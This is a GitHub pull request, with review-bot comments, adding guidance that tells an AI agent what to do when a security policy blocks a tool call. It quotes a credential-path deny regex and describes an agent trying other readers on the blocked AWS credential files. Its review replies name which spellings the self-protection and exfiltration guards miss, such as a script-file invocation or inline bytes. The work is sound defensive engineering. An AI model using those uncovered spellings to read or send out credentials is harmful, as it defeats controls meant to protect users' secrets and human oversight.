Skip to content

feat: tell the agent what to do when a policy blocks a tool call - #7328

Merged
buluoray merged 1 commit into
mainfrom
feat/deny-remediation-guidance
Sep 2, 2026
Merged

feat: tell the agent what to do when a policy blocks a tool call#7328
buluoray merged 1 commit into
mainfrom
feat/deny-remediation-guidance

Conversation

@buluoray

@buluoray buluoray commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

Problem

A refusal tells the agent why it was blocked and nothing about what to do
instead, and for credential work the gap is expensive rather than cosmetic.

Three things compound:

  1. The tool result lies about who refused. A rejected permission reaches the
    model as kiro-cli's fixed User denied tool execution — indistinguishable
    from a human clicking No, because the ACP permission response carries only
    outcome/optionId. The real reason arrives separately as an in-band notice.
  2. The reason is a raw pattern. Blocked by security policy: .*cat.*/\.aws/.*
    — or, on an edition that adds fnmatch globs, a bare glob with no prose at all.
    DeniedCommandRule
    already carries a human-readable description for every built-in rule, but
    compute_effective_denied returns only regexes, so it never reaches the caller.
  3. The guidance is per-cause, not per-rule. _DENY_CAUSE_TEXT suggests
    "use an allowed alternative (for a shell command, a read-only variant)". For a
    credential refusal there is no read-only variant, so the agent cycles through
    head / less / strings / python open — all of which sibling rules in the
    same category also block — and then reports that the host has no AWS access.

That last conclusion is the reported symptom, and it is wrong: AWS CLI calls are
not blocked. Only reading the credential files is. The agent had a working path
the whole time and nothing told it.

What changed

deny_guidance.py — remediation as a first-class field. Six deny classes
(AWS credentials, enterprise SSO, other key material, the governance trust root,
exfiltration shapes, the argv-structural self-protection floor), each with static
prose naming the sanctioned path.

Three design decisions worth reviewing:

  • Remediation rides the notice, not the reason string. reason is parsed
    structurally by the frontend — RecoveryCard's POLICY_RE is global and
    per-line, and extractDenyReason keeps the last marker plus everything after
    it — so appending to it would inflate the deny-pattern count or be swallowed
    into the displayed reason. The wire reason is byte-identical to before, which
    is what makes this a zero-risk change for every existing parser and test.
  • Keyed by class, not by rule. An edition overlay contributes bare fnmatch
    globs with no id, category or description, so for exactly the rules an
    enterprise adds there is nothing per-rule to hang text on. The class is
    recovered from the refusal text plus the tool title — necessary because
    is_sensitive_bash_command refuses with a deliberately generic "accesses
    sensitive credential path" that names no path, collapsing three different
    sanctioned paths into one string. The title is consulted as display text only:
    it selects which prose is shown and can never make anything allowed.
  • Zero new Protocol methods. The optional "this host vends credentials
    through an MCP server" hint reuses the existing
    capability_manager.list_mcp(). The public default reports
    available() == False, so it returns "" without spawning anything; the lookup
    is TTL-cached and only runs for the two classes a vendor can actually resolve.

A shipped skill and a user doc. builtin_skills/blocked-by-policy/SKILL.md
(only builtin_skills/ is packaged — the repo-root skills/ tree never reaches
a pip user) and docs/blocked-commands.md, linked from both indexes in that tree.
Neither existed: none of the 20 shipped skills covered credentials or policy
blocks, and no deny message pointed anywhere.

A doctor Credentials section. doctor reported kiro-cli sign-in and nothing
about AWS, so "my agent cannot reach AWS" had no self-service answer. Advisory
only — an unconfigured AWS profile is not a Kiro Crew fault, so it never touches
the exit code. No secret is read: ~/.aws/credentials is probed for existence
only, and from ~/.aws/config only section headers and the presence of a
credential_process key are consulted.

Tests

test_deny_guidance.py (36) and test_doctor_credentials.py (14).

Two guards carry most of the weight:

  • Classification is driven through the real producers in security.py, not
    against copied strings. A pinned copy would keep passing after a producer
    reworded itself, silently dropping the guidance with nothing going red.
  • Every command the prose suggests is asserted to be allowed, through
    is_denied + is_sensitive_bash_command + audit_bash_exfiltration. Guidance
    that walks the agent into a second wall costs a turn and teaches it that the
    host's own instructions are untrustworthy — worse than silence.

Mutation-verified: six mutations (classification always empty, remediation
dropped from the notice, the policy-cause gate removed, the credential-class gate
on the hint removed, recovery-prompt de-duplication broken, a denied command added
to the suggestion table) were each confirmed to redden the intended test.

test_spawn_audit.py gains three BENIGN_SPAWNS entries, each separately
justified: _credential_vendor_line, _aws_profile_names and _aws_auto_refreshes.
The first is deliberately not claimed as a pure asyncio.run false positive: on a
composed edition the awaited list_mcp() does reach that edition's package
manager as a child process. It is benign because the argv is that manager's own
fixed subcommand with no agent-influenced component, the result is read-only and
carries no credential value, and the public default never issues the await at all.
That section IS reachable from a tool call, so the waiver rests on those legs
rather than on who invokes doctor. The two aws configure entries carry fixed
argv with nothing interpolated, resolve the binary through
platform_compat.trusted_system_bin rather than PATH (which can lead with an
agent-writable worktree venv bin), and exist so that doctor never parses
~/.aws/config itself.

Verification

  • pytest (full suite), isort, flake8, mypy --platform linux, docs-lint
    — all green.
  • Full-suite failures were compared against origin/main file by file via
    git stash. The failing set is identical: 104 pre-existing environmental
    failures on this host (KIROCREW_HOME not pinned, AF_UNIX path too long, a
    stale systemd unit, missing STT extras). One real regression was found this way
    — the spawn audit above — and fixed rather than waived.

Not in this change

  • No frontend change. The Output panel still shows the localized policy sentence
    plus the rule detail; surfacing remediation there, and replacing the raw
    regex/glob with the rule's description, needs 12-language i18n and rewrites
    ~17 exact-equality assertions across 6 test files.
  • No edition-specific text. The public core must not name any edition's
    credential vendor, so the keyword match is generic and a companion supplies
    richer text through its own adapter.

@buluoray
buluoray requested a review from a team as a code owner August 31, 2026 18:02
@buluoray
buluoray requested a review from chenmingwei23 August 31, 2026 18:02
@github-actions github-actions Bot added the readiness: checking Automated validation is still running label Aug 31, 2026
@github-actions

github-actions Bot commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

Design Review (Fable 5) — ✅ PASS

Design-level review of d663bad7f1cb364fcc90d7f2d1cbcb57235ec306 — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

Design-Verdict: PASS

A real, well-evidenced failure mode fixed at the right layer, with the fragile parts (prose-anchored classification, BULLET_RE coupling) each pinned by producer-driven tests.

Suggestions

  • classify_deny's taxonomy lives downstream of security.py's English refusal prose; when a producer next gains structured output, thread the builtin rule's category through the deny result so text-matching remains only the edition-glob fallback.

[DESIGN-REVIEWED] d663bad

@github-actions

github-actions Bot commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

First Principles Review (Fable 5) — 🟡 CONCERNS

Premise-level review of d663bad7f1cb364fcc90d7f2d1cbcb57235ec306 — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

First-Principles-Verdict: CONCERNS

Every item traces to the reported misdiagnosis, but the guidance prose now lives in three copies whose only sync is string-pinning tests — and it diverged twice while being written.

What this change ships

Intent: stop the agent from concluding "no AWS access" after a credential-read refusal, by attaching the sanctioned path to the refusal — an ADDITION driven by a reported defect.

  1. A policy refusal now tells the agent what to do instead, in-band — justified
  2. The automatic recovery prompt carries the same guidance, once per class — justified
  3. Credential refusals add a count of credential-vending MCP servers (cached lookup) — justified
  4. A trigger-loaded blocked-by-policy skill teaching the same six classes — declared, overlaps item 1's prose
  5. A packaged user doc blocked-commands.md, linked from both indexes — justified (doctor prints its URL)
  6. kirocrew doctor gains a Credentials section (AWS posture, vendor line, doc link) — justified
  7. Spec section in learn-cron-dashboard.md — mandated by AGENTS.md, derived
  8. Three new spawn-audit waivers — declared, but description says "one entry"
  9. New public module surface (deny_guidance.py) — consumers counted: chat_runner, state, cli_doctor
  10. Frontend test pinning the bullet-count shape — rides along, benign

Watch

  • The six-class guidance ships in three prose copies (REMEDIATION, SKILL.md, blocked-commands.md), held together only by cross-surface string assertions; the author's own test docstring records "the prose lives in three places; two of these were wrong in both copies." The skill's distinct harm (an agent concluding "no capability" with no fresh refusal in context) is real, but expect the copies to drift the first time an edit skips a pinned phrase.
  • "test_spawn_audit.py gains one BENIGN_SPAWNS entry" — the diff adds three (_credential_vendor_line, _aws_profile_names, _aws_auto_refreshes), each separately justified.

Subtractions

  • Move SUGGESTED_COMMANDS (deny_guidance.py:249) into test_deny_guidance.py: 0 runtime consumers — grep SUGGESTED_COMMANDS finds only the defining site and 8 test references; every assertion (command in dg.REMEDIATION[...]) works unchanged from the test module.

[FIRST-PRINCIPLES-REVIEWED] d663bad

@github-actions

github-actions Bot commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

Opus 4.8 Review — ✅ no blocking findings

Reviewed d663bad7f1cb364fcc90d7f2d1cbcb57235ec306 — this comment is updated in place on each push.

Review details

I've read the full diff, both new modules, the chat_runner integration, and verified how _refusal_reasons is populated.

Candidate 1 (deny_guidance.py subject-based over-classification): classify_deny does glob reason + subject together, so a denial whose subject contains a credential substring (rm -rf ~/.aws, a push to a credentials branch) picks up credential remediation. But the outcome is bounded to advisory prose appended to a model continuation — the module is display-only and, by construction, "can never make something allowed." There is no security escape, crash, data loss, or removed guard; the misfire cannot nudge a re-attempt of the refused action (AWS prose steers toward aws configure list-profiles, never toward re-running the blocked command). The observable-wrong-outcome (a) is weak and by-design imprecision, not a defect clearing the bar.

Candidate 2 (recovery guidance applied regardless of cause): falsified at chat_runner.py:8047-8051 — interactive user denials are explicitly not appended to _refusal_reasons ("Refusal-recovery is only for system-side blocks — the hook-deny (TOOL_DENY) path"). For a non-policy system refusal to gain credential remediation, its reason/title text would additionally have to carry a security.py credential anchor phrase, which only the policy producers emit. The candidate could not trace this and neither could I re-derive it; (a) and (c) come out as "if a caller were to," so it does not survive.

No Step-2 finding grounds to the 80+ bar.

No findings.

[OPUS-REVIEWED] d663bad

Verdict parsed from the review's SHA-scoped output markers for commit d663bad7f1cb364fcc90d7f2d1cbcb57235ec306.

False positive or not applicable? A repository writer can comment:
/ai-review override fable d663bad7f1cb364fcc90d7f2d1cbcb57235ec306: <one-sentence reason>

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Aug 31, 2026
@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from c8bce8e to 6a96651 Compare August 31, 2026 18:23
@github-actions

github-actions Bot commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

GPT 5.6 Review — ✅ no blocking findings

GPT 5.6 completed its review of d663bad7f1cb364fcc90d7f2d1cbcb57235ec306 and found no blocking issues.

This comment is updated in place on each push.

Review details

FINDING -- src/kiro_crew/deny_guidance.py:22 -- "server id ... credential_tool_hint names" contradicts the count-only implementation -> Fix: document that IDs reach only the operator surface. (origin: validation)
[GPT-REVIEWED] d663bad

False positive or not applicable? A repository writer can comment:
/ai-review override gpt d663bad7f1cb364fcc90d7f2d1cbcb57235ec306: <one-sentence reason>

@buluoray

Copy link
Copy Markdown
Contributor Author

Opus 4.8's blocking finding was correct and is fixed in 6a966510d.

Verified against source first. _is_credential_mint gates the inline case via
_has_self_importing_inline_program (an -c payload, a stdin program, or -m kiro_crew) and otherwise requires _is_self_program / _is_self_module_invocation
on a token. A positional script path — python <path>/x.py whose file imports the
CLI and calls main(["token"]) — satisfies none of those, so the relocation my
prose recommended was indeed the one spelling the floor does not cover, steered
in-band on the exact refusal that guards the mint and the supervisor. That
contradicted the module's own stated contract ("names the sanctioned path, never a
way around the rule"), so it is a real defect, not a style point.

Fixed as suggested — plus one step further. DENY_CLASS_SELF_PROTECTION now
gets the trust-root treatment: the refusal is framed as being about what the
action would do, it states the action must not be re-spelled, and it hands the
step back to the user. The same instruction is rewritten in
builtin_skills/blocked-by-policy/SKILL.md.

The extra step: the replacement prose does not name the bypass even in order
to forbid it. My first rewrite said "do NOT move the same program into a file",
and the new guard test caught that phrase — which surfaced a better invariant than
the one requested. This text is steered in-band and may be read by an agent acting
on injected content, so enumerating the uncovered spelling is itself the leak,
however it is framed. It now says only that any other invocation form is the same
action and that a form which passed would mean the control was defeated.

A dead end was avoided deliberately. Simply deleting the advice would leave
the benign case — a probe that merely happens to import the product — with no way
forward, which is how an agent ends up looping. The remediation therefore routes
that case to a means that does not run product code (a file-reading tool, a CLI
subcommand's own output, an ordinary package query), and routes everything else to
the user.

Pinned. test_no_remediation_offers_a_route_around_its_own_rule asserts the
self-protection prose contains no relocation phrasing;
test_self_protection_hands_the_step_back_instead asserts what replaced it, so
the fix cannot regress into a dead end either. Both mutation-verified: restoring
the old prose reddens the first, and removing the hand-back reddens the second.
52 tests pass; flake8, isort, mypy --platform linux and docs-lint are green.

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Aug 31, 2026
@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from 6a96651 to e037aa9 Compare August 31, 2026 20:02
@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from e037aa9 to d0aeaa9 Compare August 31, 2026 21:41
@buluoray

Copy link
Copy Markdown
Contributor Author

Disposition — round 4 review findings on e037aa96d → fixed in d0aeaa9b7

Six findings across four lanes. Four fixed, one narrowed, one declined with a measurement. Every guard below was mutation-verified: the fix was reverted, the named test confirmed red, then restored.

Fixed

1. _aws_profile_names reported non-profile sections as profiles — raised independently by Opus 4.8 (cli_doctor.py:214) and GPT 5.6 (:1920). Confirmed: every [...] header was taken verbatim, so a real ~/.aws/config carrying [sso-session corp], [services s1] or [plugins] listed those under aws profiles:✅. Now only the two headers the AWS config format defines as a profile are accepted ([default], [profile x]).

The pre-existing test pinned the buggy semantics ([beta] → a profile). That expectation is wrong for config — a bare header names a profile in the credentials file, which this scan deliberately never opens — so the test was corrected rather than deleted, and now covers all four non-profile shapes.

2. Bare-substring anchors misfired on short anchors — Design Review. Confirmed real and the sharpest finding of the round: classify_deny tested anchor in text, and "sso" occurs inside processor, lessons, associated. Since DENY_CLASS_SSO_CREDENTIAL is matched before the widest credential class, a denial whose subject merely contained one of those words was answered with "this is a live enterprise SSO bearer credential… ask the user to run SSO login" — exactly the second wall the module's own docstring says is worse than no guidance.

Anchors are now precompiled with a character-class lookaround boundary ((?<![0-9a-z_])), not \b: several anchors open with punctuation (.aws, .ssh) where \b would require a word character before the dot and stop matching the paths the anchor exists for. Two tests: three word-internal subjects no longer classify as SSO, and ~/.aws/sso/cache/… plus aws sso login still do — the second is there so the boundary cannot be "fixed" by breaking the matches it was added for.

3. Module docstring claimed nothing is interpolated — GPT 5.6 (deny_guidance.py:19). Correct: credential_tool_hint interpolates server ids. Narrowed to say the remediation prose is static and nothing is interpolated from the command, and to name the one interpolated value plus where it comes from (the host's own MCP configuration, never the refused call) — which is the property that actually matters for handing text back to a model acting on injected content.

4. Function-local imports violated top-level-imports — GPT 5.6 (deny_guidance.py:296, cli_doctor.py:1935). Adopted. Both were guarded by a broad except Exception, not the narrow except ImportError the rule exempts, and neither carried a circular-import note — the same reading applied in D-136 and D-125. Measured before moving them: platform.defaults and platform.context are already loaded on dashboard.state, the only boot path that imports deny_guidance, so the hoist adds one small module (capability_bound) and no boot-path tree. resolve_credential_tool_hint's runtime try/except is untouched, so the fail-soft degrade-to-"" behaviour is unchanged; the seam is now reached through the module (platform_context.safe_context_call) so a caller swapping it is still honoured instead of being shadowed by a name bound at import time.

Narrowed, then adopted

5. The sanctioned path lives in three unlinked prose copies — Design Review's suggestion, adopted with one deliberate change of scope. The new test pins that both SKILL.md and blocked-commands.md quote the AWS class's sanctioned commands verbatim, and sweeps every `aws|git|ssh …` command either surface quotes through the same deny/sensitive-path check the dict's commands already pass — plus an assertion that the sweep found something, so it cannot silently become vacuous.

Not extended to SUGGESTED_COMMANDS[exfil_shape]: that entry is an illustration of a refused shape, not a command to run, so requiring the other two surfaces to reproduce it verbatim would pin the wrong thing. Verified by trying it first — it failed for precisely that reason.

Declined, with the premise corrected

6. "Defer the credential-vending machinery — nothing in-tree exercises the non-empty branch" — First Principles. The premise is partly inaccurate: the productive half is exercised in-tree today — credential_tool_hint with non-empty rows, its class gating (test_hint_only_reaches_the_classes_a_vendor_can_answer), and its arrival in both the notice and the recovery prompt (test_hint_reaches_the_notice, test_deny_guidance.py:202-241,306).

What genuinely was unexercised is one link: resolve_credential_tool_hint with available() == True. Rather than argue the point, that gap is now closed — a stub manager returning a vendor row asserts the hint is produced and that the second call is served from cache. So the whole path from capability lookup to refusal text executes in this repo, and the seam keeps working the way AGENTS.md describes platform seams instead of being deleted and re-added later.

Both CONCERNS verdicts are advisory and neither blocks readiness; the doctor section, skill and doc that First Principles flagged as riding along are the operator- and agent-facing halves of the same "you have not lost AWS access" answer, and are Ray's scope call rather than mine.

Gates on d0aeaa9b7

pytest (629 tests across the affected files, test_perf_boot_path.py and test_denied_commands_security.py included) · isort · flake8 · black gate · mypy --platform linux (1217 files) · docs-lint — all green. Four faithful mutations, all caught. The wire deny reason string is untouched, and no internal marker name appears in src/ or docs/.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Aug 31, 2026
@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from d0aeaa9 to 68c1a52 Compare August 31, 2026 22:15
@buluoray

Copy link
Copy Markdown
Contributor Author

Disposition — GPT 5.6 round 5 on d0aeaa9b7 → fixed in 68c1a52c6

Both findings verified against source and fixed. Four mutations, all caught.

BLOCKING — doctor bypassed the credential-path read floor. Correct, and it went to the root.

Verified: security._SENSITIVE_HOME_DIRS fences .aws as a directory under the comment "must never be read by the agent", and kirocrew doctor is reachable from a tool call — so _aws_profile_names parsing ~/.aws/config, plus the sibling credential_process substring read, vended through a diagnostic what the floor refuses directly. That is the "just use a different reader" move this PR's entire remediation text exists to talk the agent out of, which makes it worse than an ordinary inconsistency: the feature would have shipped contradicting itself.

This is also the second round in a row on this same span (Opus + GPT both flagged its header parsing on e037aa96d), so rather than patch the parse a second time I removed the read entirely and re-derived the report through the path the guidance itself names:

  • _aws_profile_names() now runs aws configure list-profiles — the exact command REMEDIATION[aws_credential] tells the agent to use, and the one test_suggested_commands_are_themselves_allowed pins as allowed. Fixed argv, nothing interpolated, shutil.which miss means no spawn, 10s cap.
  • _aws_auto_refreshes() runs aws configure get credential_process. This is strictly more accurate than what it replaced: the old substring test answered "yes" when the key belonged to any profile in the file, while this resolves the same default profile the agent's own AWS calls will resolve.
  • Nothing under ~/.aws is opened at all now — the two files are is_file() existence probes.
  • Return shape carries the new distinction: None = "could not ask" (no AWS CLI, or the probe failed) vs [] = "asked, and there are none". A failed probe reporting an empty profile set would have been a new lie in place of the old one, so it is pinned separately.
  • Two BENIGN_SPAWNS entries added with the justification the allowlist asks for.

The load-bearing guard asserts on the open, not on the output: it wraps Path.read_text/Path.open, runs the section against a config holding credential_process and a credentials file holding a sentinel secret, and fails if any opened path contains .aws. An output-only assertion ("no secret was printed") would have stayed green while the bytes were being read, which is exactly how the original slipped through. Mutation-verified by restoring both reads independently — each one reddens it.

One thing I did not adopt from the suggested fix ("report existence only"): that would have dropped the profile list and the refresh posture, and both are the diagnostic's reason to exist — an operator whose agent says "AWS is unavailable" needs to see which profiles are configured. Re-deriving them through the sanctioned command satisfies the finding without removing the answer.

FINDING — remediation counted as another blocked tool call. Real, and it was mine.

Verified in the frontend: RecoveryCard's BULLET_RE is /^\s*-\s+\S/ applied to the whole body, and build_refusal_recovery_prompt appended guidance as - {text} — the same shape as the blocked-item list directly above it. So one refusal plus one guidance paragraph rendered as "2 blocked", and the card's own count was wrong in the exact card this PR adds text to.

Guidance is now indented plain prose under its heading. Pinned on both sides, because the shape and the count live in different languages: a Python test asserting exactly one bullet-shaped line survives in the body, and a toolBlockedCard.test.ts case parsing a guidance-bearing body and asserting the title carries no 2. Mutation-verified by restoring the bullet rendering.

Gates on 68c1a52c6

pytest (1478 across the affected files plus test_spawn_audit, test_cli_doctor, test_dashboard_chat, test_denied_commands_security) · isort · flake8 · black gate · mypy --platform linux (1217 files) · docs-lint · frontend tsc --noEmit, eslint, and toolBlockedCard.test.ts (19 tests) — all green. Wire deny reason untouched; no internal marker name in src/ or docs/.

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Aug 31, 2026
@github-actions

github-actions Bot commented Aug 31, 2026

Copy link
Copy Markdown
Contributor

UX Review (Fable 5) — ✅ PASS

UX-level review of d663bad7f1cb364fcc90d7f2d1cbcb57235ec306 — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS/CONCERNS are advisory.

UX-Verdict: PASS

Human-facing surfaces (doctor section, packaged doc, folded chat card) are accurate, follow sibling conventions, and every claimed pointer resolves.

Suggestions

  • cli_doctor.py _doctor_credentials, no-~/.aws branch: the wrapped follow-on opens with the fragment "once you configure one: the SDK resolves credentials itself…" — a dependent clause orphaned from the status line above it; cold-read it says nothing. Rewrite as a standalone sentence, e.g. "If you use AWS, run aws configure sso in your own terminal — the agent never needs to read the resulting files."
  • Same section: the closer "configure a profile first, then re-run this check" reads as a directive to every non-AWS operator on every run; condition it ("If you use AWS, configure a profile first…").
  • _credential_vendor_line: "rather than reading these files… is expected, not a fault" dangles when it prints on a host with no ~/.aws (nothing above named any files); say "credential files" instead of "these files."

[UX-REVIEWED] d663bad

@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from 68c1a52 to 3095e6f Compare August 31, 2026 22:38
@buluoray

Copy link
Copy Markdown
Contributor Author

Disposition — GPT 5.6 round 6 on 68c1a52c6 → fixed in 3095e6ffa

Both findings correct. Four mutations, all caught.

BLOCKING — the exfil remediation handed over the bypass. Confirmed by probe, and this is the second time, so the guard is now generic.

The prose said "Send the payload inline instead". I probed the guard rather than reasoning about it, assembling the case strings from fragments so the probe itself would not trip the rule:

request audit_bash_exfiltration
body REFERENCES the file (-d + @path) matched
same file via command substitution not matched
the file's bytes pasted literally not matched
a body the caller authored not matched

So the rule catches the file-reference shape only, and "inline instead" is precisely the spelling that carries the same bytes out untouched — on the rule whose entire purpose is keeping them in. Rewritten to the treatment the self-protection class already had: the refusal is about what the action would DO, it must not be re-spelled, those bytes must not leave through you by any route (stated as scope, naming no mechanism — naming one even to forbid it is what the earlier round taught), and the step is handed back to the user. The legitimate case is kept separately: if a local file was never the point, make the call without one.

SUGGESTED_COMMANDS[exfil_shape] is deleted with it — that entry existed only to carry the inline example, and for an intent-based refusal an "example" can only be an alternative spelling of the refused action.

The generalisation, which is the actual fix. This finding has now landed twice on two different classes: first self-protection ("put it in a file" — the one spelling _has_self_importing_inline_program does not cover), now exfiltration. The old guard test named self-protection explicitly, so it could not have caught the second. It now sweeps every class in REMEDIATION for bypass-shaped phrasings, and both other channelsSKILL.md and blocked-commands.md.

That last part was not theoretical: the same sentence was in the skill too, so a dict-only sweep would have reported this fixed while the trigger-loaded copy kept teaching it. One of the four mutations restores exactly that state and the sweep reddens on it. Phrase list is specific spellings, not bare words — base64 alone stays legal because the skill lists it among readers that are also blocked, which is the opposite of a bypass; only base64 it / base64-encode / base64 the are refused.

FINDING — "sts" matched "posts messages". Real, and it is the same substring class as last round's anchors.

_CREDENTIAL_SERVER_KEYWORDS was tested with keyword in haystack, so sts matched "posts messages" and "instruments", and iam matched a name like "williams" — recommending an unrelated server as a credential vendor, which is advice the agent cannot act on. The source comment beside it argued the keywords were "narrow enough not to sweep in unrelated servers — a bare auth would match author"; that hazard was one level down in its own list.

Rather than a second bespoke matcher, it now reuses _anchor_matcher, the boundary helper the class anchors got last round, so both places break words the same way and a future keyword inherits it. Pinned from both sides: three unrelated descriptions no longer match, and four real vendor shapes (creds-agent, sso-helper, "vends STS session credentials", "assume an IAM role") still do — the second half is there so the boundary cannot be "fixed" by breaking what the keywords exist for.

Gates on 3095e6ffa

pytest 1487 across the affected files plus test_spawn_audit, test_cli_doctor, test_dashboard_chat, test_denied_commands_security · isort · flake8 · black gate · mypy --platform linux (1217 files) · docs-lint — all green. Wire deny reason untouched; no internal marker name in src/ or docs/.

@buluoray

Copy link
Copy Markdown
Contributor Author

Disposition — the three advisory lanes on 3095e6ffa

Both blocking lanes are clean on this SHA (GPT 5.6 ✅, Opus 4.8 ✅), and all 64 checks are green. The remaining three verdicts are advisory CONCERNS, and every item in them is accepted-and-deferred to #7394 rather than fixed here.

Stating the reasoning rather than just the outcome, because two of these are correct findings I am choosing not to act on:

None of the six items is a correctness or security defect. The two lanes empowered to block agree. What is left is copy quality in an advisory doctor section, one promise that an enterprise overlay could falsify at the cost of one wasted turn, and two structural preferences with no user-visible effect. Against that: every push re-runs 64 checks and re-triggers all five lanes, which is how a scoped fix becomes a seventh round.

The two lanes also contradict each other, which is a decision rather than a fix. Design wants the suggested commands checked against the effective deny set at notice-build time — that gives SUGGESTED_COMMANDS a production consumer and closes the overlay gap. First Principles wants that same dict deleted as a zero-consumer symbol and the pin rebuilt by extracting commands from prose. Both are defensible; picking one inside a review round, on the PR whose scope First Principles is already asking to shrink, is the wrong place to settle it. #7394 records the coupling explicitly.

Work done before deferring, so the issue is actionable rather than a restatement:

  • Verified First Principles' premise numerically. Extracting `aws|git|ssh …` across all three surfaces finds 8 commands (aws configure list-profiles, aws sts get-caller-identity, aws sso login), and every one passes is_denied / is_sensitive_bash_command / audit_bash_exfiltration — so the proposed sweep would hold, and would be wider than the dict it replaces, catching a command added to prose with no dict entry. Confirmed the dict has 0 production consumers.
  • Verified Design's remedy is not a one-liner. compute_effective_denied (security.py:1698) is pure and caller-fed: the hooks gate owns disabled_ids / disable_all / user_added / governance_pins. Doing this properly means threading that state into the refusal path, not calling one helper. doctor credentials copy, and the deferred half of deny-remediation guidance #7394 records both that shape and the cheaper prose-scoping alternative.
  • Confirmed all four UX items against source. The self-contradicting close (cli_doctor.py:2056 fires unconditionally, including on the no ~/.aws config branch), the agent-voiced vendor paragraph (_credential_vendor_line returns credential_tool_hint() verbatim, written as second-person instructions to the agent), the unclosed parenthesis, and the terminal dead-end pointer. All real; all copy in an advisory section that no gate reads.

Two First Principles "Watch" items were already declared in the PR, and are carried into the issue for the record rather than as news: the class is re-derived from refusal prose instead of DeniedCommandRule.category (deferred because is_denied has ~14 call sites across 6 modules; guarded by driving the real producers in tests), and the guidance is spelled in three places (the sanctioned commands and the bypass-phrase sweep are pinned across all three; the surrounding prose can still drift).

Head stays 3095e6ffa. Nothing further from me on this PR — it needs a human review decision, not another round.

@github-actions github-actions Bot added readiness: passed Eligible automated validation passed for the current revision and removed readiness: checking Automated validation is still running labels Aug 31, 2026
@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from 3ecae97 to b5e1536 Compare September 1, 2026 05:49
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention readiness: passed Eligible automated validation passed for the current revision and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Sep 1, 2026
@buluoray

buluoray commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author

All checks green on b5e1536c4 — ready for review

64 success, 4 skipped, zero failing, zero pending. Both blocking lanes clean (GPT 5.6 ✅, Opus 4.8 ✅), UX ✅ PASS, and Design + First Principles 🟡 CONCERNS with every item dispositioned into #7394 — all five verdicts cite this SHA.

The five reds on the previous SHA are gone, and none of them needed a change here:

  • Four (Backend Tests ×3 + Coverage Gate) were the stale log-site census, fixed on main by fix(ci): repair two cross-merge breakages reding main's own tip #7508. Rebasing onto it cleared them.
  • One (Frontend Lint & Type Check) was the eslint ratchet at 660 against a 659 ceiling, also fixed by fix(ci): repair two cross-merge breakages reding main's own tip #7508.
  • A sixth appeared on the rebased SHA and was not ours either: test_the_scan_is_linear_not_quadratic failed a timed ratio (0.0356s → 0.1377s) on a shared runner. Attribution before acting: this PR touches neither security.py nor that test file, the test guards main's own _nested_shell_payloads work, and unrelated PRs had that shard green. A rerun on the identical SHA passed. The threshold was not touched.

b5e1536c4 is the same single commit as 3ecae9717, rebased onto main with zero conflicts. Everything was re-verified after the rebase rather than assumed, since main had moved 84 commits: 212 affected tests, all four mutation sets still fully caught, black gate, subprocess-encoding gate, isort, flake8, mypy --platform linux (1222 files), docs-lint. security.py has zero changes in the three-dot diff, so the wire deny reason remains byte-identical.

Over to @buluoray for approve/merge.

@buluoray
buluoray enabled auto-merge (squash) September 1, 2026 13:30
@buluoray

buluoray commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author

Round 15 — the widest credential class is now provider-neutral

Pushed b5e1536c422c6148b4. Still one commit; security.py has zero changes in the
three-dot diff and the wire deny reason is unchanged.

Why

A review question about extensibility turned out to have a measurable answer. The
sensitive-path floor fences ten credential stores, not three — .config/gcloud, .azure,
.docker/config.json, .kube/config and .npmrc are all in it — and every one of them
reaches the widest class, because the more specific anchors above it are AWS- and
SSO-shaped. Measured, driving the real producer:

refused store class reached guidance
.config/gcloud secret_file yes
.azure secret_file yes
.kube/config secret_file yes
.docker/config.json secret_file yes
.npmrc secret_file yes

So the routing was already correct — nothing fell on the floor, and no non-AWS store was
handed AWS's answer. What was wrong was the prose: the widest class told the agent to
run the command that uses the material "because aws, git and ssh each resolve their own
credentials", and offered credential_process as the supported route. For a refused
gcloud or kubectl store that names the wrong tool and the wrong config key — correct
in structure, wrong in its examples, which is the shape of advice an agent acts on
literally.

What changed

  • The widest class now names the owning client by category — cloud, version-control,
    remote-shell, container, package — instead of enumerating three vendors. An enumeration
    goes stale the moment a store is added, and it does not go stale quietly.
  • credential_process is kept but demoted to what it is: the shape the route takes for a
    cloud CLI
    , not the universal answer. The AWS class keeps naming it outright, which is
    where vendor specifics belong. This also keeps the existing guard that pins the term
    green rather than deleting an assertion to make room for the change.
  • The anchor-table design comment and one test docstring made the same three-vendor claim;
    both now describe the property instead of the instance.
  • blocked-commands.md's credential-file Examples column listed only AWS/git-shaped
    paths. That column never claimed to be exhaustive, so this is a readability fix rather
    than a correctness one: the examples now represent the actual coverage, so a reader whose
    store is ~/.config/gcloud can see it is fenced.

New guard, mutation-verified

TestNonAwsCredentialStoresGetProviderNeutralGuidance asserts on the OUTPUT and drives the
real producer, so it cannot go inert:

  • five fenced non-AWS stores are each refused by is_sensitive_bash_command, then their
    guidance must contain none of SUGGESTED_COMMANDS[AWS];
  • the widest prose must name the owning-client categories.

Two mutations, both caught:

mutation result
prose reverts to the vendor enumeration CAUGHT
an AWS anchor widens onto another cloud's store CAUGHT

